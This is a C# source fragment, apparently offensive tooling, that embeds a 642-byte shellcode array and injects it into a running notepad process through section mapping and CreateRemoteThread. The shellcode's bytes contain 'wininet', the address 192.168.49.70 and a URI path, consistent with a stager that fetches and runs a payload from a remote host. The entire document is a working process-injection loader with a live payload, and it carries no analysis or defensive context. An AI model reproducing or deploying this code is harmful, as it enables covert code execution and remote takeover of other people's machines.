static void Main(string[] args)
{
// Shellcode
byte[] shellcode = new byte[642] {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x66, 0x81, 0x78, 0x18, 0x0b, 0x02, 0x0f, 0x85, 0x72, 0x00, 0x00, 0x00, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x4b, 0xff, 0xff, 0xff, 0x5d, 0x48, 0x31, 0xdb, 0x53, 0x49, 0xbe, 0x77, 0x69, 0x6e, 0x69, 0x6e, 0x65, 0x74, 0x00, 0x41, 0x56, 0x48, 0x89, 0xe1, 0x49, 0xc7, 0xc2, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0x53, 0x53, 0x48, 0x89, 0xe1, 0x53, 0x5a, 0x4d, 0x31, 0xc0, 0x4d, 0x31, 0xc9, 0x53, 0x53, 0x49, 0xba, 0x3a, 0x56, 0x79, 0xa7, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd5, 0xe8, 0x0e, 0x00, 0x00, 0x00, 0x31, 0x39, 0x32, 0x2e, 0x31, 0x36, 0x38, 0x2e, 0x34, 0x39, 0x2e, 0x37, 0x30, 0x00, 0x5a, 0x48, 0x89, 0xc1, 0x49, 0xc7, 0xc0, 0xbb, 0x01, 0x00, 0x00, 0x4d, 0x31, 0xc9, 0x53, 0x53, 0x6a, 0x03, 0x53, 0x49, 0xba, 0x57, 0x89, 0x9f, 0xc6, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd5, 0xe8, 0x59, 0x00, 0x00, 0x00, 0x2f, 0x4f, 0x6b, 0x2d, 0x46, 0x6d, 0x79, 0x71, 0x42, 0x59, 0x64, 0x6e, 0x51, 0x58, 0x4e, 0x46, 0x65, 0x6a, 0x36, 0x65, 0x53, 0x76, 0x67, 0x2d, 0x72, 0x4e, 0x64, 0x5a, 0x4e, 0x56, 0x6c, 0x34, 0x45, 0x35, 0x51, 0x38, 0x38, 0x64, 0x2d, 0x5a, 0x4d, 0x53, 0x44, 0x76, 0x7a, 0x37, 0x58, 0x58, 0x41, 0x38, 0x42, 0x5a, 0x44, 0x44, 0x49, 0x67, 0x56, 0x30, 0x37, 0x47, 0x4c, 0x46, 0x35, 0x51, 0x4b, 0x43, 0x6b, 0x34, 0x70, 0x64, 0x5a, 0x6d, 0x5f, 0x46, 0x58, 0x46, 0x36, 0x2d, 0x38, 0x6c, 0x76, 0x74, 0x4e, 0x62, 0x78, 0x6c, 0x6a, 0x61, 0x00, 0x48, 0x89, 0xc1, 0x53, 0x5a, 0x41, 0x58, 0x4d, 0x31, 0xc9, 0x53, 0x48, 0xb8, 0x00, 0x32, 0xa8, 0x84, 0x00, 0x00, 0x00, 0x00, 0x50, 0x53, 0x53, 0x49, 0xc7, 0xc2, 0xeb, 0x55, 0x2e, 0x3b, 0xff, 0xd5, 0x48, 0x89, 0xc6, 0x6a, 0x0a, 0x5f, 0x48, 0x89, 0xf1, 0x6a, 0x1f, 0x5a, 0x52, 0x68, 0x80, 0x33, 0x00, 0x00, 0x49, 0x89, 0xe0, 0x6a, 0x04, 0x41, 0x59, 0x49, 0xba, 0x75, 0x46, 0x9e, 0x86, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd5, 0x4d, 0x31, 0xc0, 0x53, 0x5a, 0x48, 0x89, 0xf1, 0x4d, 0x31, 0xc9, 0x4d, 0x31, 0xc9, 0x53, 0x53, 0x49, 0xc7, 0xc2, 0x2d, 0x06, 0x18, 0x7b, 0xff, 0xd5, 0x85, 0xc0, 0x75, 0x1f, 0x48, 0xc7, 0xc1, 0x88, 0x13, 0x00, 0x00, 0x49, 0xba, 0x44, 0xf0, 0x35, 0xe0, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd5, 0x48, 0xff, 0xcf, 0x74, 0x02, 0xeb, 0xaa, 0xe8, 0x55, 0x00, 0x00, 0x00, 0x53, 0x59, 0x6a, 0x40, 0x5a, 0x49, 0x89, 0xd1, 0xc1, 0xe2, 0x10, 0x49, 0xc7, 0xc0, 0x00, 0x10, 0x00, 0x00, 0x49, 0xba, 0x58, 0xa4, 0x53, 0xe5, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd5, 0x48, 0x93, 0x53, 0x53, 0x48, 0x89, 0xe7, 0x48, 0x89, 0xf1, 0x48, 0x89, 0xda, 0x49, 0xc7, 0xc0, 0x00, 0x20, 0x00, 0x00, 0x49, 0x89, 0xf9, 0x49, 0xba, 0x12, 0x96, 0x89, 0xe2, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x20, 0x85, 0xc0, 0x74, 0xb2, 0x66, 0x8b, 0x07, 0x48, 0x01, 0xc3, 0x85, 0xc0, 0x75, 0xd2, 0x58, 0xc3, 0x58, 0x6a, 0x00, 0x59, 0x49, 0xc7, 0xc2, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5
};
uint size = 4096;
ulong outSize = 0;
ulong sectionOffset = 0;
// Variables
LARGE_INTEGER sectionSize = new LARGE_INTEGER {
};
sectionSize.LowPart = 2048;
IntPtr sectionHandle = IntPtr.Zero;
IntPtr localSectionAddress = IntPtr.Zero;
IntPtr remoteSectionAddress = IntPtr.Zero;
// Get process PID
Process[] npProc = Process.GetProcessesByName("notepad");
int pid = npProc[0].Id;
Console.WriteLine("PID extracted:");
Console.WriteLine(pid);
// create local section
// NtCreateSection(SectionHandle, DesiredAccess, ObjectAttributes, MaximumSize, SectionPageProtection, AllocationAttributes, FileHandle)
// GENERIC_ALL = 0x10000000
// PAGE_EXECUTE_READWRITE = 0x40
// SEC_COMMIT = 0x8000000
NtCreateSection(ref sectionHandle, 0x10000000, IntPtr.Zero, ref sectionSize, 0x40, 0x8000000, IntPtr.Zero);
Console.WriteLine("Local section created!");
// map local section
// NtMapViewOfSection(SectionHandle, ProcessHandle, *BaseAddress, ZeroBits, CommitSize, SectionOffset, ViewSize, InheritDisposition, AllocationType, Win32Protect);
// Only RW needed!
// PAGE_EXECUTE_READWRITE = 0x40
uint addr = NtMapViewOfSection(sectionHandle, GetCurrentProcess(), ref localSectionAddress, UIntPtr.Zero, UIntPtr.Zero, out outSize, out size, 2, 0, 0x40);
Console.WriteLine("Local section mapped!");
Console.WriteLine((IntPtr)localSectionAddress);
// map remote section
// Only RX needed!
// NtMapViewOfSection(SectionHandle, ProcessHandle, *BaseAddress, ZeroBits, CommitSize, SectionOffset, ViewSize, InheritDisposition, AllocationType, Win32Protect);
IntPtr targetHandle = OpenProcess(0x001F0FFF, false, pid);
uint lib = NtMapViewOfSection(sectionHandle, targetHandle, ref remoteSectionAddress, UIntPtr.Zero, UIntPtr.Zero, out sectionOffset, out size, 1, 0, 0x40);
Console.WriteLine("Remote section mapped!");
Console.WriteLine((IntPtr)remoteSectionAddress);
Marshal.Copy(shellcode, 0, localSectionAddress, shellcode.Length);
Console.WriteLine("Shellcode copied to local section!");
// CreateRemoteThread (hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId);
IntPtr hThread = CreateRemoteThread(targetHandle, IntPtr.Zero, 0, remoteSectionAddress, (IntPtr)addr, 0, IntPtr.Zero);
Console.WriteLine(hThread.ToString());
Console.WriteLine("Remote thread created!");
NtUnmapViewOfSection(sectionHandle, remoteSectionAddress);
Console.WriteLine("Local section unmaped!");
NtClose(sectionHandle);
Console.WriteLine("Local handler closed!");
}
static extern UInt32 NtCreateSection(ref IntPtr SectionHandle, UInt32 DesiredAccess, IntPtr ObjectAttributes, ref LARGE_INTEGER MaximumSize, UInt32 SectionPageProtection, UInt32 AllocationAttributes, IntPtr FileHandle);
